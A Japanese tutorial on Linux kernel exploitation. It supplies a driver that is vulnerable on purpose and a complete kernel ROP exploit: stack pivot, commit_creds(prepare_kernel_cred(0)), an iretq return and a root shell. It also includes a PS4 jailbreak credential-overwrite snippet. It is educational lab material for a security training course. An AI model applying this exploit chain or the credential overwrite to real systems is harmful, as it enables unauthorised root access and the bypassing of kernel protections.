カーネルエクスプロイト入門2 - 特権モードを利用した権限昇格の仕組み -
0. はじめに
カーネルエクスプロイト入門記事part2です。
前回part1では、環境構築とLinuxカーネルのメモリ管理の基礎について、実際のエクスプロイトでのユースケースを通して説明しました。
さて、part2では実際にLinuxカーネルエクスプロイトを書いて行きます。
とはいえ既存の脆弱性を利用するエクスプロイトを記述するのはあまりよろしくないので、今回は学習用に脆弱なドライバを用意し、エクスプロイトを書いていきます。
まあ基本的なロジックは実際の脆弱性のそれと同じなので、意義はあるはずです。
学習用ドライバとエクスプロイトコードは以下のレポジトリに置いてありますので、各節ごとに逐次参照
してください。
1. 特権モードでの権限昇格
脆弱性を悪用して権限昇格を行うにはいくつか常套手段があり、中でも典型的な物がスタックやヒープのバッファオーバーフローを利用して、関数の戻りアドレスや関数ポインタを攻撃者の用意したコードのアドレスに書き換えて制御を奪ったり、
単純なスタックバッファオーバーフロー攻撃をやってみる - ももいろテクノロジー
ヒープオーバーフローによるGOT overwriteをやってみる - ももいろテクノロジー
ヒープオーバーフローによるC++ vtable overwriteをやってみる - ももいろテクノロジー
解放した領域を誤って使用してしまうUse After Freeを利用し、同じ領域に悪意のあるデータ構造を確保して利用させる事で、関数ポインタを書き換えたり、
use-after-freeによるGOT overwriteをやってみる - ももいろテクノロジー
use-after-freeによるC++ vtable overwriteをやってみる - ももいろテクノロジー
printfのFormat Stringを悪用する事で任意のアドレスにデータを書き込めるバグを利用し、同じく関数ポインタを書き換えたり、
format string attackによるGOT overwriteをやってみる - ももいろテクノロジー
といろいろあります。
要するにまとめると、
- 攻撃者はプログラムの意図しないアドレスに値を書き込む(アドレスや値は制限がある場合もあります。)
- 書き込む先はプログラムが制御を移す可能性のある、関数ポインタや、戻りアドレスにする。
- 書き込む値は、攻撃者が用意したコードやROP gadget(後述)のアドレス。
これで、攻撃者の用意したコードにプログラムが飛ばされて意図しない動作をさせられるわけです。
さて、こういった脆弱性をついたエクスプロイト手段というのはユーザープログラムだけでなく、カーネルにも適用できます。
まあLinuxやWindowsもOSとは言え特権モードで動作しているただのプログラムなのでバグもありますし、ユーザー側からシステムコール発行や、外部からのデータ受信などを入力としてそのバグを突く事は可能なわけです。
http://thehackernews.com/2016/12/linux-kernel-local-root-exploit.html
基本的なエクスプロイトのロジックはユーザー空間もカーネル空間も大差ありません。
加えてカーネルは特権モードで動作していて、その最中に攻撃者に制御を奪われて任意コード実行などされると、
システム内の最高権限で攻撃コードが走ります。これが凄い威力で、カーネルエクスプロイトの面白さの一つです。
俗に言うJailBreakというのも、カーネルレベルで実装されたアクセス制御機構(Jailとかsandboxとかいろいろ呼び方はあります)を、カーネルエクスプロイトによる特権モードでのコード実行で解除する物です。
例えばPlayStation4のカーネルエクスプロイトコード中のJailBreakを行う部分は以下のような感じになってます。
struct thread *td; struct ucred *cred; // Get td pointer asm volatile("mov %0, %%gs:0" : "=r"(td)); // Resolve creds cred = td->td_proc->p_ucred; // Escalate process to root cred->cr_uid = cred->cr_ruid = cred->cr_rgid = 0; cred->cr_groups[0] = 0; cred->cr_prison = &prison0; // JailBreak
PS4はFreeBSDベースで、ユーザーソフトウェアもjailで保護されていますが、
cred->cr_prison = &prison0;
とやると、簡単にjailを無効化できます。これはこの攻撃コードが特権モードで動作しているからです。
ユーザー空間でこんなプログラム書いてもViolationで弾かれます。
2. カーネルROP(Return Orientend Programming)
さて、では実際にカーネルエクスプロイトでよく使われるテクニックの一つとしてまずカーネルROPを紹介します。
そもそもROP(Return Oriented Programming)というのは、攻撃者がスタックの値をうまく書き換える事で、プログラムの制御をROP gadgetと呼ばれるコード断片に次々と飛ばしながら意図した動作を行わせるテクニックです。
詳細は以下参照。
inaz2.hatenablog.com
またROP gadgetを探すツールはrp++を利用します。
使用方法は以下参照。
x64でスタックバッファオーバーフローをやってみる - ももいろテクノロジー
このROPのテクニックは相応の脆弱性があればカーネルに対しても通用します。
ここから先登場するコードは全て以下のレポジトリにありますので逐次参照して自分でも動かしてみてください。
kernel_exploit_world/chap2 at master · RKX1209/kernel_exploit_world · GitHub
今回は以下のような脆弱なドライバを用意します。
ropm.c
unsigned long *ops[3]; ... static long device_ioctl(struct file *file, unsigned int cmd, unsigned long args) { struct drv_req *req; void (*fn)(void); switch(cmd) { case 0: req = (struct drv_req *)args; fn = &ops[req->offset]; fn(); break; case 1: req = (struct drv_req *)args; printk(KERN_INFO "size = %lx\n", req->offset); printk(KERN_INFO "fn is at %p\n", &ops[req->offset]); break; default: break; } return 0; }
このドライバにioctl 0を発行すると、引数で指定されたoffsetをopsのアドレスに足した場所をcallしてくれます。
またioctl 1すると、指定された引数で飛ぶ先のアドレスを表示してくれます。
例えばこんな感じでユーザーからは使うわけです。
trigger.c
#define _GNU_SOURCE #include <sys/types.h> #include <sys/stat.h> #include <sys/ioctl.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include "ropm.h" #define DEVICE_PATH "/dev/vulndrv" int main(int argc, char **argv) { int fd; struct drv_req req; req.offset = atoll(argv[1]); //map = mmap((void *)..., ..., 3, 0x32, 0, 0); fd = open(DEVICE_PATH, O_RDONLY); if (fd == -1) { perror("open"); } ioctl(fd, 1, &req); return 0; }
なんとも都合の良いドライバですが、Linuxのような複雑なコードに潜む脆弱性を極限まで簡単にモデル化した物だと思って
いただければ。当然実際のカーネルエクスプロイトではこれらに加えて様々な制約が伴うわけですが....
ちなみにdmesgを確認すればopsのアドレスも分かります。
$ dmesg | grep addr | grep ops [ 244.142035] addr(ops) = ffffffffa02e9340
さて、ではこの引数で指定されたアドレスに飛んでくれるドライバをどのように利用するか。
まず考えられるのが、どこか別の領域に攻撃者のコード(shellcode)を置いておいて、そこに飛ぶというやつです。
じゃあどこに置くかですが、カーネルの使用しているメモリ領域は使えません。それをやるにはドライバを書いてkmallocなりでカーネルからメモリを確保する必要があり、その段階でroot権限が必要だからです。
ではユーザー空間に置いてそこに飛ぶのはどうでしょう。これは俗にret2usrと呼ばれるカーネルエクスプロイトの手法で、うまく行く事もあります。
しかし、Intel SMEPというプロセッサレベルのセキュリティ機構が有効になっていると、カーネル空間からユーザー空間のコードに直接実行を移すことができなくなります。
そこでカーネルROPを使います。カーネル内のROP gadgetに制御を移していく事でSMEPが回避できるわけですね。
まずはカーネル内のgadgetを探してみましょう。
$ ./rp-lin-x64 --file=/path/to/linux-3.12/vmlinux --rop=3 --unique > gadgets.txt
Linuxカーネル本体はvmlinuxと呼ばれるELFファイルで、カーネルをビルドしたディレクトリの直下に生成されています。
こいつにrp++を使う事でカーネル内のROP gadgetが探せます。
見つけたgadgetは後から参照できるようgadgets.txtに書き出しておきます。
さて、gadgetは集めましたが結局ドライバのコードジャンプを使ってどこに飛べばよいでしょうか?
そもそもROPというのは攻撃者があらかじめスタックにgadgetのアドレスを載せておく必要がありましたが、今回はカーネル内のスタックにgadgetのアドレスを載せていく事はできません。
そこで、ユーザー空間であらかじめメモリ領域を確保しておき、Stack Pivotテクニックを使うことでカーネル内のスタックアドレスをその領域にすげかえてやるのが良さそうです。
Stack Pivotについては以下参照。
で今回Stack Pivotに使えそうなgadgetはというと、
0xffffffff81000085 : xchg eax, esp ; ret 0xffffffff81576254 : xchg eax, esp ; ret 0x103d 0xffffffff810242a6 : xchg eax, esp ; ret 0x10a8 0xffffffff8108e258 : xchg eax, esp ; ret 0x11e8 0xffffffff81762182 : xchg eax, esp ; ret 0x12eb 0xffffffff816f4a04 : xchg eax, esp ; ret 0x13e9 0xffffffff81a196fc : xchg eax, esp ; ret 0x1408 0xffffffff814bd0fd : xchg eax, esp ; ret 0x148 0xffffffff8119e39b : xchg eax, esp ; ret 0x148d 0xffffffff813f8ce5 : xchg eax, esp ; ret 0x14c 0xffffffff810db968 : xchg eax, esp ; ret 0x14ff 0xffffffff81d5953e : xchg eax, esp ; ret 0x1589 0xffffffff81951aee : xchg eax, esp ; ret 0x1d07 0xffffffff81703efe : xchg eax, esp ; ret 0x1f3c ...
(gadgetのアドレスはカーネルのバージョン等で違います)
xchg eax, esp系を使います。なぜかというと今回のドライバのアセンブリコードを見ると、
fn()呼び出しというのは、
call *%rax
となっています。
つまり、opsにoffsetを足したアドレスはraxに入ってるわけです。たとえばこのアドレスをrax=0xffffffff81000085にしたとしましょう。
するとeaxはこの下位32bitの0x81000085になり、xchg eax,espを実行するとスタック(rsp)も0x81000085になります。
つまりあらかじめ、0x81000085の領域にmmapでメモリを確保しておけば、そこがスタックとして扱われるわけです。
いや、下位32bitじゃなくてもxchg rax, rspとかで丸ごとスタックアドレスにすれば良いのでは?と思われるかもしれませんが、うまくいきません。
(Linux x64メモリマッピング)
64bitでのアドレス空間 - Linuxカーネルメモ
上図を見ると分かるように、x64におけるLinuxのメモリマッピングは、
ユーザー空間: 0x0000000000000000~0x00007fffffffffff
カーネル空間: 0xffff880000000000~
となっており、0xffffffff81000085をユーザー空間からmmapする事はできません。よって下位32bitの0x81000085であれば、ユーザー空間内なのでmmap可能なわけです。これがraxでなくeaxを使う理由です。
あとはこのmmapした領域にgadgetのアドレスを書き込んで行けばOKです。
さて、もうひとつ注意する必要があるのが、今回ROP gadgetはどれを使っても良いわけではありません。
なぜかというと、ops+offsetとして指定できるアドレスはカーネルの制約上8byteでアライメントされてる必要があるからです。
8byteアライメントされたgadgetのみ表示するスクリプトとしてfind_offset.pyを使ってください。
find_offset.py
#!/usr/bin/env python import sys base_addr = int(sys.argv[1], 16) f = open(sys.argv[2], 'r') # gadgets for line in f.readlines(): target_str, gadget = line.split(':') target_addr = int(target_str, 16) # check alignment if target_addr % 8 != 0: continue offset = (target_addr - base_addr) / 8 print 'offset =', (1 << 64) + offset print 'gadget =', gadget.strip() print 'stack addr = %x' % (target_addr & 0xffffffff) break
このスクリプトは第一引数にベースとなるopsのアドレスを、第二引数にROP gadgetが記録されてるgadgest.txtを指定すると、
8byteアライメントされたgadgetのみを探してoffset値と共に表示してくれます。
$ dmesg | grep addr | grep ops [ 244.142035] addr(ops) = ffffffffa02e9340 $ ./find_offset.py ffffffffa02e9340 gadgets.txt ... offset = 18446744073644231139 gadget = xchg eax, esp ; ret 0x11e8 stack addr = 8108e258 ...
大量のgadgetが表示されるので、grep 'xchg eax, esp'などして、求めるgadgetのoffset値を表示しましょう。
さて、これでStack Pivotが完了しました。後はどんなgadgetを実行させていくかですが、
カーネル内で現在実行中のプロセスにroot権限を付与するには以下のようなコードを実行する必要があります。
commit_creds(prepare_kernel_cred(0))
こいつをROP gadgetを使ってカーネル内で実行させてユーザー空間に戻ればroot権限が付与されます。
ここまで来れば実際のエクスプロイトコードを見てみましょう。
exploit.c
int main(int argc, char *argv[]) { int fd; struct drv_req req; void *mapped, *temp_stack; unsigned long base_addr, stack_addr, mmap_addr, *fake_stack; if (argc != 3) { usage(argv[0]); return -1; } //offset = 18446744073577125016 req.offset = strtoul(argv[1], NULL, 10); base_addr = strtoul(argv[2], NULL, 16); prepare_kernel_cred = 0xffffffff8109bac0; commit_creds = 0xffffffff8109b710; printf("array base address = 0x%lx\n", base_addr); stack_addr = (base_addr + (req.offset * 8)) & 0xffffffff; fprintf(stdout, "stack address = 0x%lx\n", stack_addr); mmap_addr = stack_addr & 0xffff0000; assert((mapped = mmap((void*)mmap_addr, 0x20000, 7, 0x32, 0, 0)) == (void*)mmap_addr); assert((temp_stack = mmap((void*)0x30000000, 0x10000000, 7, 0x32, 0, 0)) == (void*)0x30000000); save_state(); fake_stack = (unsigned long *)(stack_addr); *fake_stack ++= 0xffffffff8138613fUL; /* pop %rdi; ret */ fake_stack = (unsigned long *)(stack_addr + 0 + 8); *fake_stack ++= 0x0UL; /* NULL */ *fake_stack ++= prepare_kernel_cred; /* prepare_kernel_cred() */ *fake_stack ++= 0xffffffff814ab470UL; /* pop %rdx; ret */ //*fake_stack ++= 0xffffffff81095190UL; /* commit_creds() */ *fake_stack ++= commit_creds + 6; // commit_creds() + 2 instructions *fake_stack ++= 0xffffffff810d8f5bUL; /* mov %rax, %rdi; call %rdx */ *fake_stack ++= 0xffffffff81060124UL; // swapgs ; pop rbp ; ret *fake_stack ++= 0xdeadbeefUL; // dummy placeholder *fake_stack ++= 0xffffffff8177af17UL; /* iretq */ *fake_stack ++= (unsigned long)shell; /* spawn a shell */ *fake_stack ++= user_cs; /* saved CS */ *fake_stack ++= user_rflags; /* saved EFLAGS */ *fake_stack ++= (unsigned long)(temp_stack+0x5000000); /* mmaped stack region in user space */ *fake_stack ++= user_ss; /* saved SS */ //map = mmap((void *)..., ..., 3, 0x32, 0, 0); fd = open(DEVICE_PATH, O_RDONLY); if (fd == -1) { perror("open"); } ioctl(fd, 0, &req); return 0; }
fake_stackというのがユーザー空間に確保したスタック領域でStack Pivotでカーネルのrspをこの値に設定するわけです。
さて、fake_stack ++= ....となっているのがROP gadgetを積んでいっている部分です。図解するとスタックは以下のようになります。
Linux Kernel ROP - Ropping your way to # (Part 1)
(すみません。図中のアドレスとコードのアドレスが対応していませんが、これは引用元のカーネルのバージョンと違うからです。中身の命令列を見て頂けると幸いです。)
このROPは順番に以下のように実行されていきます。
- pop %rdiで rdi = NULLが設定される
- prepare_kernel_cred(%rdi == NULL)が実行
- pop %rdxで rdx = commit_credsのアドレス
- mov %rax, %rdiでprepare_kernel_credの実行結果(rax)をrdiに設定。 call %rdx(= commit_cred)
これでcommit_creds(prepare_kernel_cred(0))が実行されます。
これでめでたくプロセスにroot権限が付与されました。後はユーザー空間に戻りましょう。
ユーザー空間に戻るのはexploit.cの以下が該当します。
(ユーザー空間に戻る処理)
unsigned long user_cs; unsigned long user_ss; unsigned long user_rflags; unsigned long prepare_kernel_cred; unsigned long commit_creds; static void save_state() { asm( "movq %%cs, %0\n" "movq %%ss, %1\n" "pushfq\n" "popq %2\n" : "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory" ); } void shell(void) { printf ("get shell\n"); if(!getuid()) system("/bin/sh"); exit(0); } ... save_state(); ... *fake_stack ++= 0xffffffff8177af17UL; /* iretq */ *fake_stack ++= (unsigned long)shell; /* spawn a shell */ *fake_stack ++= user_cs; /* saved CS */ *fake_stack ++= user_rflags; /* saved EFLAGS */ *fake_stack ++= (unsigned long)(temp_stack+0x5000000); /* mmaped stack region in user space */ *fake_stack ++= user_ss; /* saved SS */
まずはfake_stackのROP gadgetの続きを見てみましょう。
iretqという命令のgadgetを載せており、その下にさらにshell関数へのアドレス、
user_cs,user_rflags...と続きます。
このiretq命令こそが、カーネル空間からユーザー空間に戻るための命令です。
iretについては詳しくは以下参照。
単純に動作だけ説明すると、スタックに以下のようにレジスタを積んでiretを実行すると、
+------------+ | | | RIP | | CS | | EFLAGS | | RSP | | SS | | | +------------+
それぞれのレジスタをこのスタックに積んである値にしてくれます。
よってshell関数のアドレスをRIPとして積んでおくと、iret実行直後RIPはshell関数先頭に設定されて制御が移り、/bin/shが起動するわけです。
先ほどカーネル空間でcommit_credをしているので、プロセスはroot権限になっておりこれでrootのシェル起動完了です。
ちなみにiretq命令は以下のようにしてカーネル内から探してきてください。
objdump -j .text -d /path/to/linux-3.12/vmlinux | grep iretq | head -1
3. おわりに
さて、今回はカーネルエクスプロイトでよく使うカーネルROPについて説明しました。
今年のセキュリティキャンプ参加者で「D2-3カーネルエクスプロイトによるシステム権限奪取 」を受講する方は上記のROPエクスプロイトを理解して自分の環境で動かしroot権限昇格まで確認しておいてください。
part1で構築して頂いた環境ではROP gadgetのアドレスが上とかなり違うはずなので、自分でrp++等で調べてアドレスを変更し、うまく動かしてみてください。